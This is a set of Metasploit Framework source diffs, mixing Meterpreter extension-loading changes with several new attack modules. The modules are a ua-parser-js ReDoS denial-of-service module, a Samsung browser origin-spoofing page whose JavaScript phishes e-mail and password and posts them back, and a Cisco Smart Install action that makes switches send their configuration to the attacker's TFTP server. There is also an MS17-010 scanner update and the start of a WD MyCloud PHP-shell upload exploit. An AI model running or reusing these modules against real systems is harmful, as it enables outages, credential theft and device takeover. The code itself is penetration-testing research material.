# Generate the URI for the initial stager
#
def generate_small_uri
generate_uri_uuid_mode(:init_native, 5)
generate_uri_uuid_mode(:init_native, 30)
end
#

View File

@ -92,7 +92,7 @@ module Msf
end
print_status("Launching #{editor} #{path}")
system(editor, path)
system(*editor.split, path)
# XXX: This will try to reload *any* .rb and break on modules
if args.length > 0 && path.end_with?('.rb')

View File

@ -414,11 +414,11 @@ class Console::CommandDispatcher::Core
if !words[1] || !words[1].match(/^\//)
begin
if msf_loaded?
tabs << tab_complete_postmods
tabs = tab_complete_postmods
end
[ # We can just use Meterpreters script path
::Msf::Sessions::Meterpreter.script_base,
::Msf::Sessions::Meterpreter.user_script_base
::Msf::Sessions::HWBridge.script_base,
::Msf::Sessions::HWBridge.user_script_base
].each do |dir|
next unless ::File.exist? dir
tabs += ::Dir.new(dir).find_all { |e|

View File

@ -195,6 +195,10 @@ class ClientCore < Extension
# LibraryFilePath
# The path to the library that is to be loaded
#
# LibraryFileImage
# Binary object containing the library to be loaded
# (can be used instead of LibraryFilePath)
#
# TargetFilePath
# The target library path when uploading
#
@ -210,12 +214,13 @@ class ClientCore < Extension
#
def load_library(opts)
library_path = opts['LibraryFilePath']
library_image = opts['LibraryFileImage']
target_path = opts['TargetFilePath']
load_flags = LOAD_LIBRARY_FLAG_LOCAL
# No library path, no cookie.
if library_path.nil?
raise ArgumentError, 'No library file path was supplied', caller
if library_path.nil? && library_image.nil?
raise ArgumentError, 'No library file path or image was supplied', caller
end
# Set up the proper loading flags
@ -234,14 +239,17 @@ class ClientCore < Extension
# If we must upload the library, do so now
if (load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL
image = ''
if library_image.nil?
# Caller did not provide the image, load it from the path
library_image = ''
::File.open(library_path, 'rb') { |f|
image = f.read
}
::File.open(library_path, 'rb') { |f|
library_image = f.read
}
end
if image
request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib])
if library_image
request.add_tlv(TLV_TYPE_DATA, library_image, false, client.capabilities[:zlib])
else
raise RuntimeError, "Failed to serialize library #{library_path}.", caller
end
@ -250,8 +258,17 @@ class ClientCore < Extension
# path of the local and target so that it gets loaded with a random
# name
if opts['Extension']
library_path = "ext#{rand(1000000)}.#{client.binary_suffix}"
target_path = library_path
if client.binary_suffix and client.binary_suffix.size > 1
m = /(.*)\.(.*)/.match(library_path)
suffix = $2
elsif client.binary_suffix.size == 1
suffix = client.binary_suffix[0]
else
suffix = client.binary_suffix
end
library_path = "ext#{rand(1000000)}.#{suffix}"
target_path = "/tmp/#{library_path}"
end
end
@ -297,6 +314,22 @@ class ClientCore < Extension
raise RuntimeError, "No modules were specified", caller
end
modnameprovided = mod
suffix = nil
if not client.binary_suffix
suffix = ''
elsif client.binary_suffix.size > 1
client.binary_suffix.each { |s|
if (mod =~ /(.*)\.#{s}/ )
mod = $1
suffix = s
break
end
}
else
suffix = client.binary_suffix.first
end
# Query the remote instance to see if commands for the extension are
# already loaded
commands = get_loaded_extension_commands(mod.downcase)
@ -304,22 +337,31 @@ class ClientCore < Extension
# if there are existing commands for the given extension, then we can use
# what's already there
unless commands.length > 0
# Get us to the installation root and then into data/meterpreter, where
# the file is expected to be
modname = "ext_server_#{mod.downcase}"
path = MetasploitPayloads.meterpreter_path(modname, client.binary_suffix)
image = nil
path = nil
# If client.sys isn't setup, it's a Windows meterpreter
if client.respond_to?(:sys) && !client.sys.config.sysinfo['BuildTuple'].blank?
# Query the payload gem directly for the extension image
image = MetasploitPayloads::Mettle.load_extension(client.sys.config.sysinfo['BuildTuple'], mod.downcase, suffix)
else
# Get us to the installation root and then into data/meterpreter, where
# the file is expected to be
modname = "ext_server_#{mod.downcase}"
path = MetasploitPayloads.meterpreter_path(modname, suffix)
if opts['ExtensionPath']
path = ::File.expand_path(opts['ExtensionPath'])
if opts['ExtensionPath']
path = ::File.expand_path(opts['ExtensionPath'])
end
end
if path.nil?
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
if path.nil? and image.nil?
raise RuntimeError, "No module of the name #{modnameprovided} found", caller
end
# Load the extension DLL
commands = load_library(
'LibraryFilePath' => path,
'LibraryFileImage' => image,
'UploadLibrary' => true,
'Extension' => true,
'SaveToDisk' => opts['LoadFromDisk'])

View File

@ -45,9 +45,19 @@ class Priv < Extension
elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
elevator_path = MetasploitPayloads.meterpreter_path('elevator', client.binary_suffix)
elevator_path = nil
client.binary_suffix.each { |s|
elevator_path = MetasploitPayloads.meterpreter_path('elevator', s)
if !elevator_path.nil?
break
end
}
if elevator_path.nil?
raise RuntimeError, "elevator.#{binary_suffix} not found", caller
elevators = ""
client.binary_suffix.each { |s|
elevators << "elevator.#{s}, "
}
raise RuntimeError, "#{elevators.chomp(', ')} not found", caller
end
elevator_data = ""

View File

@ -39,7 +39,13 @@ class Sniffer < Extension
response.each(TLV_TYPE_SNIFFER_INTERFACES) { |p|
vals = p.tlvs.map{|x| x.value }
iface = { }
ikeys = %W{idx name description type mtu wireless usable dhcp}
if vals.length == 8
# Windows
ikeys = %W{idx name description type mtu wireless usable dhcp}
else
# Mettle
ikeys = %W{idx name description usable}
end
ikeys.each_index { |i| iface[ikeys[i]] = vals[i] }
ifaces << iface
}

View File

@ -53,14 +53,14 @@ module LibraryHelper
# converts ruby string to zero-terminated WCHAR string
def str_to_uni_z(str)
enc = str.unpack("C*").pack("v*")
enc = str.encode('UTF-16LE').force_encoding('binary')
enc += "\x00\x00"
return enc
end
# converts 0-terminated UTF16 to ruby string
def uniz_to_str(uniz)
uniz.unpack("v*").pack("C*").unpack("A*")[0]
uniz.force_encoding('UTF-16LE').encode('UTF-8')
end
# parses a number param and returns the value

View File

@ -122,6 +122,7 @@ class Config
'Computer' => response.get_tlv_value(TLV_TYPE_COMPUTER_NAME),
'OS' => response.get_tlv_value(TLV_TYPE_OS_NAME),
'Architecture' => response.get_tlv_value(TLV_TYPE_ARCHITECTURE),
'BuildTuple' => response.get_tlv_value(TLV_TYPE_BUILD_TUPLE),
'System Language' => response.get_tlv_value(TLV_TYPE_LANG_SYSTEM),
'Domain' => response.get_tlv_value(TLV_TYPE_DOMAIN),
'Logged On Users' => response.get_tlv_value(TLV_TYPE_LOGGED_ON_USER_COUNT)

View File

@ -130,6 +130,7 @@ TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045
TLV_TYPE_DOMAIN = TLV_META_TYPE_STRING | 1046
TLV_TYPE_LOGGED_ON_USER_COUNT = TLV_META_TYPE_UINT | 1047
TLV_TYPE_LOCAL_DATETIME = TLV_META_TYPE_STRING | 1048
TLV_TYPE_BUILD_TUPLE = TLV_META_TYPE_STRING | 1049
# Environment
TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100

View File

@ -1147,14 +1147,27 @@ class Console::CommandDispatcher::Core
case opt
when '-l'
exts = SortedSet.new
msf_path = MetasploitPayloads.msf_meterpreter_dir
gem_path = MetasploitPayloads.local_meterpreter_dir
[msf_path, gem_path].each do |path|
::Dir.entries(path).each { |f|
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
exts.add($1)
end
}
if !client.sys.config.sysinfo['BuildTuple'].blank?
# Use API to get list of extensions from the gem
exts.merge(MetasploitPayloads::Mettle.available_extensions(client.sys.config.sysinfo['BuildTuple']))
else
msf_path = MetasploitPayloads.msf_meterpreter_dir
gem_path = MetasploitPayloads.local_meterpreter_dir
[msf_path, gem_path].each do |path|
::Dir.entries(path).each { |f|
if (::File.file?(::File.join(path, f)))
client.binary_suffix.each { |s|
if (f =~ /ext_server_(.*)\.#{s}/ )
if (client.binary_suffix.size > 1)
exts.add($1 + ".#{s}")
else
exts.add($1)
end
end
}
end
}
end
end
print(exts.to_a.join("\n") + "\n")
@ -1168,7 +1181,16 @@ class Console::CommandDispatcher::Core
# Load each of the modules
args.each { |m|
md = m.downcase
modulenameprovided = md
if client.binary_suffix and client.binary_suffix.size > 1
client.binary_suffix.each { |s|
if (md =~ /(.*)\.#{s}/ )
md = $1
break
end
}
end
if (extensions.include?(md))
print_error("The '#{md}' extension has already been loaded.")
next
@ -1178,7 +1200,7 @@ class Console::CommandDispatcher::Core
begin
# Use the remote side, then load the client-side
if (client.core.use(md) == true)
if (client.core.use(modulenameprovided) == true)
add_extension_client(md)
end
rescue
@ -1195,16 +1217,31 @@ class Console::CommandDispatcher::Core
def cmd_load_tabs(str, words)
tabs = SortedSet.new
msf_path = MetasploitPayloads.msf_meterpreter_dir
gem_path = MetasploitPayloads.local_meterpreter_dir
[msf_path, gem_path].each do |path|
::Dir.entries(path).each { |f|
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
if (not extensions.include?($1))
tabs.add($1)
if !client.sys.config.sysinfo['BuildTuple'].blank?
# Use API to get list of extensions from the gem
MetasploitPayloads::Mettle.available_extensions(client.sys.config.sysinfo['BuildTuple']).each { |f|
if !extensions.include?(f.split('.').first)
tabs.add(f)
end
}
else
msf_path = MetasploitPayloads.msf_meterpreter_dir
gem_path = MetasploitPayloads.local_meterpreter_dir
[msf_path, gem_path].each do |path|
::Dir.entries(path).each { |f|
if (::File.file?(::File.join(path, f)))
client.binary_suffix.each { |s|
if (f =~ /ext_server_(.*)\.#{s}/ )
if (client.binary_suffix.size > 1 && !extensions.include?($1 + ".#{s}"))
tabs.add($1 + ".#{s}")
elsif (!extensions.include?($1))
tabs.add($1)
end
end
}
end
}
end
}
end
return tabs.to_a
end

View File

@ -27,7 +27,7 @@ class Console::CommandDispatcher::Extapi::Clipboard
"clipboard_monitor_pause" => "Pause the active clipboard monitor",
"clipboard_monitor_resume" => "Resume the paused clipboard monitor",
"clipboard_monitor_dump" => "Dump all captured clipboard content",
"clipboard_monitor_purge" => "Delete all captured cilpboard content without dumping it",
"clipboard_monitor_purge" => "Delete all captured clipboard content without dumping it",
"clipboard_monitor_stop" => "Stop the clipboard monitor"
}
reqs = {

View File

@ -28,14 +28,26 @@ class Console::CommandDispatcher::Sniffer
# List of supported commands.
#
def commands
#all = {
{
"sniffer_interfaces" => "Enumerate all sniffable network interfaces",
"sniffer_start" => "Start packet capture on a specific interface",
"sniffer_stop" => "Stop packet capture on a specific interface",
"sniffer_stats" => "View statistics of an active capture",
"sniffer_dump" => "Retrieve captured packet data to PCAP file",
"sniffer_release" => "Free captured packets on a specific interface instead of downloading them",
"sniffer_release" => "Free captured packets on a specific interface instead of downloading them"
}
#reqs = {
# "sniffer_interfaces" => ['sniffer_interfaces'],
# "sniffer_start" => ['sniffer_capture_start'],
# "sniffer_stop" => ['sniffer_capture_stop'],
# "sniffer_stats" => ['sniffer_capture_stats'],
# "sniffer_dump" => ['sniffer_capture_dump'],
# "sniffer_release" => ['sniffer_capture_release']
#}
#filter_commands(all, reqs)
end
@ -46,10 +58,18 @@ class Console::CommandDispatcher::Sniffer
print_line()
ifaces.each do |i|
print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )",
i['idx'], i['description'],
i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless'])
)
if i.length == 8
# Windows
print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )",
i['idx'], i['description'],
i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless'])
)
else
# Mettle
print_line(sprintf("%d - '%s' ( usable:%s )",
i['idx'], i['description'], i['usable'])
)
end
end
print_line()
@ -167,10 +187,10 @@ class Console::CommandDispatcher::Sniffer
# TODO: reorder packets based on the ID (only an issue if the buffer wraps)
while(true)
buf = od.read(20)
break if not buf
break unless buf
idh,idl,thi,tlo,len = buf.unpack('N5')
break if not len
break unless len
if(len > 10000)
print_error("Corrupted packet data (length:#{len})")
break

View File

@ -70,9 +70,9 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.3.19'
spec.add_runtime_dependency 'metasploit-payloads', '1.3.20'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.8'
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.2'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.
@ -125,7 +125,6 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'dnsruby'
spec.add_runtime_dependency 'net-ssh'
spec.add_runtime_dependency 'rbnacl', ['< 5.0.0']
spec.add_runtime_dependency 'rbnacl-libsodium'
spec.add_runtime_dependency 'bcrypt_pbkdf'
spec.add_runtime_dependency 'ruby_smb'

View File

@ -0,0 +1,113 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Dos
def initialize
super(
'Name' => 'ua-parser-js npm module ReDoS',
'Description' => %q{
This module exploits a Regular Expression Denial of Service vulnerability
in the npm module "ua-parser-js". Server-side applications that use
"ua-parser-js" for parsing the browser user-agent string will be vulnerable
if they call the "getOS" or "getResult" functions. This vulnerability was
fixed as of version 0.7.16.
},
'References' =>
[
['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'],
['CWE', '400'],
],
'Author' =>
[
'Ryan Knell, Sonatype Security Research',
'Nick Starke, Sonatype Security Research',
],
'License' => MSF_LICENSE
)
register_options([
Opt::RPORT(80)
])
end
def run
unless test_service
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
else
trigger_redos
test_service_unresponsive
end
end
def trigger_redos
begin
print_status("Sending ReDoS request to #{peer}.")
res = send_request_cgi({
'uri' => '/',
'method' => 'GET',
'headers' => {
'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)
}
})
if res.nil?
print_status("No response received from #{peer}, service is most likely unresponsive.")
else
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
end
rescue ::Rex::ConnectionRefused
print_error("Unable to connect to #{peer}.")
rescue ::Timeout::Error
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
end
end
def test_service_unresponsive
begin
print_status('Testing for service unresponsiveness.')
res = send_request_cgi({
'uri' => '/' + Rex::Text.rand_text_alpha(8),
'method' => 'GET'
})
if res.nil?
print_good('Service not responding.')
else
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
end
rescue ::Rex::ConnectionRefused
print_error('An unknown error occurred.')
rescue ::Timeout::Error
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
end
end
def test_service
begin
print_status('Testing Service to make sure it is working.')
res = send_request_cgi({
'uri' => '/' + Rex::Text.rand_text_alpha(8),
'method' => 'GET'
})
if !res.nil? && (res.code == 200 || res.code == 404)
print_status('Test request successful, attempting to send payload')
return true
else
return false
end
rescue ::Rex::ConnectionRefused
print_error("Unable to connect to #{peer}.")
return false
end
end
end

View File

@ -0,0 +1,144 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Samsung Internet Browser SOP Bypass',
'Description' => %q(
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the
Samsung Internet Browser, a popular mobile browser shipping with Samsung Android devices.
By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather
credentials via a fake pop-up.
),
'License' => MSF_LICENSE,
'Author' => [
'Dhiraj Mishra', # Original discovery, disclosure
'Tod Beardsley', # Metasploit module
'Jeffrey Martin' # Metasploit module
],
'References' => [
[ 'CVE', '2017-17692' ],
['URL', 'http://fr.0day.today/exploit/description/28434']
],
'DisclosureDate' => 'Nov 08 2017',
'Actions' => [[ 'WebServer' ]],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer'
)
)
register_options([
OptString.new('TARGET_URL', [
true,
'The URL to spoof origin from.',
'http://example.com/'
]),
OptString.new('CUSTOM_HTML', [
true,
'HTML to display to the victim.',
'This page has moved. Please <a href="#">click here</a> to redirect your browser.'
])
])
register_advanced_options([
OptString.new('CUSTOM_JS', [
false,
"Custom Javascript to inject as the go() function. Use the variable 'x' to refer to the new tab.",
''
])
])
end
def run
exploit # start http server
end
def evil_javascript
return datastore['CUSTOM_JS'] unless datastore['CUSTOM_JS'].blank?
js = <<-EOS
setTimeout(function(){
x.document.body.innerHTML='<h1>404 Error</h1>'+
'<p>Oops, something went wrong.</p>';
a=x.prompt('E-mail','');
b=x.prompt('Password','');
var cred=JSON.stringify({'user':a,'pass':b});
var xmlhttp = new XMLHttpRequest;
xmlhttp.open('POST', window.location, true);
xmlhttp.send(cred);
}, 3000);
EOS
js
end
def setup
@html = <<-EOS
<html>
<meta charset="UTF-8">
<head>
<script>
function go(){
try {
var x = window.open('#{datastore['TARGET_URL']}');
#{evil_javascript}
} catch(e) { }
}
</script>
</head>
<body onclick="go()">
#{datastore['CUSTOM_HTML']}
</body></html>
EOS
end
def store_cred(username,password)
credential_data = {
origin_type: :import,
module_fullname: self.fullname,
filename: 'msfconsole',
workspace_id: myworkspace_id,
service_name: 'web_service',
realm_value: datastore['TARGET_URL'],
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
private_type: :password,
private_data: password,
username: username
}
create_credential(credential_data)
end
# This assumes the default schema is being used.
# If it's not that, it'll just display the collected POST data.
def collect_data(request)
cred = JSON.parse(request.body)
u = cred['user']
p = cred['pass']
if u.blank? || p.blank?
print_good("#{cli.peerhost}: POST data received from #{datastore['TARGET_URL']}: #{request.body}")
else
print_good("#{cli.peerhost}: Collected credential for '#{datastore['TARGET_URL']}' #{u}:#{p}")
store_cred(u,p)
end
end
def on_request_uri(cli, request)
case request.method.downcase
when 'get' # initial connection
print_status("#{cli.peerhost}: Request '#{request.method} #{request.uri}'")
print_status("#{cli.peerhost}: Attempting to spoof origin for #{datastore['TARGET_URL']}")
send_response(cli, @html)
when 'post' # must have fallen for it
collect_data(request)
else
print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
end
end
end

View File

@ -94,6 +94,7 @@ class MetasploitModule < Msf::Auxiliary
workspace_id: myworkspace_id
)
if result.success?
credential_data[:private_type] = :password
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)

View File

@ -5,6 +5,7 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Cisco
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
@ -18,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary
and determines if it speaks the Smart Install Protocol. Exposure of SMI
to untrusted networks can allow complete compromise of the switch.
),
'Author' => 'Jon Hart <jon_hart[at]rapid7.com>',
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>', 'Mumbai'],
'References' =>
[
['URL', 'https://blog.talosintelligence.com/2017/02/cisco-coverage-for-smart-install-client.html'],
@ -28,13 +29,21 @@ class MetasploitModule < Msf::Auxiliary
['URL', 'https://github.com/Sab0tag3d/SIET']
],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'DefaultAction' => 'SCAN',
'Actions' => [
['SCAN', {'Description' => 'Scan for instances communicating via Smart Install Protocol (default)'}],
['DOWNLOAD', {'Description' => 'Retrieve configuration via Smart Install Protocol'}]
],
)
)
register_options(
[
Opt::RPORT(4786)
Opt::RPORT(4786),
OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ]),
OptInt.new('SLEEP', [ true, "Time to wait for config to come back", 10]),
OptString.new('CONFIG', [ true, "The source config to copy when using DOWNLOAD", "system:running-config" ])
]
)
end
@ -46,7 +55,7 @@ class MetasploitModule < Msf::Auxiliary
sock.puts(SMI_PROBE)
response = sock.get_once(-1)
if response
if SMI_RE.match?(response)
if SMI_RE.match(response)
print_good("Fingerprinted the Cisco Smart Install protocol")
return true
else
@ -57,10 +66,77 @@ class MetasploitModule < Msf::Auxiliary
end
end
def run_host(_ip)
def start_tftp
print_status("Starting TFTP Server...")
@tftp = Rex::Proto::TFTP::Server.new(69, '0.0.0.0', { 'Msf' => framework, 'MsfExploit' => self })
@tftp.incoming_file_hook = Proc.new{|info| process_incoming(info) }
@tftp.start
add_socket(@tftp.sock)
@main_thread = ::Thread.current
end
def cleanup
# Cleanup is called once for every single thread
if ::Thread.current == @main_thread
# Wait 5 seconds for background transfers to complete
print_status("Providing some time for transfers to complete...")
sleep(5)
if @tftp
print_status("Shutting down the TFTP service...")
@tftp.close rescue nil
@tftp = nil
end
end
end
#
# Callback for incoming files
#
def process_incoming(info)
return if not info[:file]
name = info[:file][:name]
data = info[:file][:data]
from = info[:from]
return if not (name && data && from)
# Trim off IPv6 mapped IPv4 if necessary
from = from[0].dup
from.gsub!('::ffff:', '')
print_status("Incoming file from #{from} - #{name} (#{data.length} bytes)")
cisco_ios_config_eater(from, rport, data)
end
def decode_hex(string)
string.scan(/../).map { |x| x.hex }.pack('c*')
end
def request_config(tftp_server, config)
copy_config = "copy #{config} tftp://#{tftp_server}/#{Rex::Text.rand_text_alpha(8)}"
packet_header = '00000001000000010000000800000408000100140000000100000000fc99473786600000000303f4'
packet = (decode_hex(packet_header) + copy_config + decode_hex(('00' * (336 - copy_config.length)))) + (decode_hex(('00' * (336)))) + (decode_hex(('00' * 336)))
print_status("Attempting #{copy_config}")
sock.put(packet)
end
def run_host(ip)
begin
connect
return unless smi?
case
when action.name == 'SCAN'
connect
return unless smi?
when action.name == 'DOWNLOAD'
start_tftp
connect
return unless smi?
disconnect # cant send any additional packets, so closing
connect
tftp_server = datastore['LHOST'] || Rex::Socket.source_address(ip)
request_config(tftp_server, datastore['CONFIG'])
print_status("Waiting #{datastore['SLEEP']} seconds for configuration")
Rex.sleep(datastore['SLEEP'])
end
rescue Rex::AddressInUse, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, \
::Errno::ETIMEDOUT, ::Timeout::Error, ::EOFError => e
vprint_error("error while connecting and negotiating Cisco Smart Install: #{e}")

View File

@ -4,6 +4,7 @@
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Client
include Msf::Exploit::Remote::SMB::Client::Authenticated
@ -50,7 +51,8 @@ class MetasploitModule < Msf::Auxiliary
register_options(
[
OptBool.new('CHECK_DOPU', [true, 'Check for DOUBLEPULSAR on vulnerable hosts', true])
OptBool.new('CHECK_DOPU', [true, 'Check for DOUBLEPULSAR on vulnerable hosts', true]),
OptBool.new('CHECK_ARCH', [true, 'Check for architecture on vulnerable hosts', true])
])
end
@ -76,12 +78,23 @@ class MetasploitModule < Msf::Auxiliary
vprint_status("Received #{status} with FID = 0")
if status == "STATUS_INSUFF_SERVER_RESOURCES"
print_good("Host is likely VULNERABLE to MS17-010! (#{simple.client.peer_native_os})")
os = simple.client.peer_native_os
if datastore['CHECK_ARCH']
case dcerpc_getarch
when ARCH_X86
os << ' x86 (32-bit)'
when ARCH_X64
os << ' x64 (64-bit)'
end
end
print_good("Host is likely VULNERABLE to MS17-010! - #{os}")
report_vuln(
host: ip,
name: self.name,
refs: self.references,
info: 'STATUS_INSUFF_SERVER_RESOURCES for FID 0 against IPC$ -- (#{simple.client.peer_native_os})'
info: "STATUS_INSUFF_SERVER_RESOURCES for FID 0 against IPC$ - #{os}"
)
# vulnerable to MS17-010, check for DoublePulsar infection

View File

@ -132,6 +132,7 @@ class MetasploitModule < Msf::Auxiliary
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'"
credential_data[:private_type] = :password
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)

View File

@ -85,6 +85,7 @@ class MetasploitModule < Msf::Auxiliary
workspace_id: myworkspace_id
)
if result.success?
credential_data[:private_type] = :password
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)

View File

@ -0,0 +1,142 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Auxiliary::UDPScanner
def initialize
super(
'Name' => 'WS-Discovery Information Discovery',
'Description' => %q{
Discover information from Web Services Dynamic Discovery (WS-Discovery)
enabled systems.
},
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://msdn.microsoft.com/en-us/library/windows/desktop/bb513684(v=vs.85).aspx'],
['URL', 'http://specs.xmlsoap.org/ws/2005/04/discovery/ws-discovery.pd'],
['URL', 'https://en.wikipedia.org/wiki/Web_Services_for_Devices'],
['URL', 'https://en.wikipedia.org/wiki/WS-Discovery'],
['URL', 'https://en.wikipedia.org/wiki/Zero-configuration_networking#WS-Discovery']
]
)
register_options [
Opt::RPORT(3702),
OptAddressRange.new('RHOSTS', [true, 'The multicast address or CIDR range of targets to query', '239.255.255.250'])
]
end
def rport
datastore['RPORT']
end
def wsdd_probe
probe = '<?xml version="1.0" encoding="utf-8" ?>'
probe << '<soap:Envelope'
probe << ' xmlns:soap="http://www.w3.org/2003/05/soap-envelope"'
probe << ' xmlns:wsa="http://schemas.xmlsoap.org/ws/2004/08/addressing"'
probe << ' xmlns:wsd="http://schemas.xmlsoap.org/ws/2005/04/discovery"'
probe << ' xmlns:wsdp="http://schemas.xmlsoap.org/ws/2006/02/devprof">'
probe << '<soap:Header>'
# WS-Discovery
probe << '<wsa:To>urn:schemas-xmlsoap-org:ws:2005:04:discovery</wsa:To>'
# Action (Probe)
probe << "<wsa:Action>http://schemas.xmlsoap.org/ws/2005/04/discovery/Probe</wsa:Action>"
# Message identifier (unique GUID)
probe << "<wsa:MessageID>urn:uuid:#{SecureRandom.uuid}</wsa:MessageID>"
probe << '</soap:Header>'
probe << '<soap:Body>'
probe << '<wsd:Probe/>' # WS-Discovery type (blank)
probe << '</soap:Body>'
probe << '</env:Envelope>'
probe
end
def scanner_prescan(batch)
print_status "Sending WS-Discovery probe to #{batch.length} hosts"
@results = {}
end
def scan_host(ip)
vprint_status "#{ip}:#{rport} - Sending WS-Discovery probe"
scanner_send wsdd_probe, ip, datastore['RPORT']
end
def scanner_postscan(_batch)
if @results.empty?
print_status 'No WS-Discovery endpoints found.'
return
end
found = {}
@results.each_pair do |ip, responses|
responses.uniq.each do |res|
found[ip] ||= {}
next if found[ip][res]
response_info = parse_wsdd_response res
if response_info.nil?
print_error "#{ip} responded with malformed data"
next
end
msg = []
msg << "Address: #{response_info['Address']}"
msg << "Types: #{response_info['Types'].to_s.split(/\s+/).join(', ')}"
msg << "Vendor Extensions: #{response_info['VendorExtension']}" unless response_info['VendorExtension'].nil?
print_good "#{ip} responded with:\n#{msg.join("\n")}"
report_service(host: ip, port: rport, proto: 'udp', name: 'wsdd', info: response_info)
found[ip][res] = true
end
end
end
def parse_wsdd_response(wsdd_res)
info = {}
# Validate ProbeMatches SOAP response contains a ProbeMatch
begin
soap = ::Nokogiri::XML wsdd_res
return nil if soap.xpath('//soap:Body//wsd:ProbeMatches//wsd:ProbeMatch').empty?
rescue
return nil
end
# Convert SOAP response to Hash
begin
res = Hash.from_xml wsdd_res
rescue REXML::ParseException
return nil
end
# Use the first ProbeMatch
probe_match = res['Envelope']['Body']['ProbeMatches'].first
return nil unless probe_match[0].eql? 'ProbeMatch'
return nil if probe_match[1].nil? || probe_match[1].empty?
match = probe_match[1]
# Device Address
info['Address'] = match['XAddrs'] || ''
# Device Types
info['Types'] = match['Types'] || ''
# Optional vendor extensions
unless match['VendorExtension'].nil? || match['VendorExtension'].empty?
info['VendorExtension'] = match['VendorExtension']
end
info
end
end

View File

@ -0,0 +1,107 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
HttpFingerprint = { :method => 'HEAD', :uri => '/web/', :pattern => [/Apache/] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'Western Digital MyCloud multi_uploadify File Upload Vulnerability',
'Description' => %q{
This module exploits a file upload vulnerability found in Western Digital's MyCloud
NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php
PHP script provides multipart upload functionality that is accessible without authentication
and can be used to place a file anywhere on the device's file system. This allows an
attacker the ability to upload a PHP shell onto the device and obtain arbitrary code
execution as root.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Zenofex <zenofex[at]exploitee.rs>' # Initial vulnerability discovery, PoC, and Metasploit module
],
'References' =>
[
['URL', 'https://www.exploitee.rs/index.php/Western_Digital_MyCloud#.2Fjquery.2Fuploader.2Fmulti_uploadify.php_.28added_08.2F06.2F2017.29'],
['URL', 'https://download.exploitee.rs/file/generic/Exploiteers-DEFCON25.pdf'],
['URL', 'https://www.youtube.com/watch?v=EO_49pfmA5A'],
['CVE', '2017-17560']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['Automatic Targeting', { 'auto' => true }]
],
'Privileged' => true,
'DisclosureDate' => 'Jul 29 2017',
'DefaultTarget' => 0))
end
def check
res = send_request_cgi('uri' => '/web/jquery/uploader/multi_uploadify.php')
if res.nil?
vprint_error('Connection failed')
return CheckCode::Unknown
end
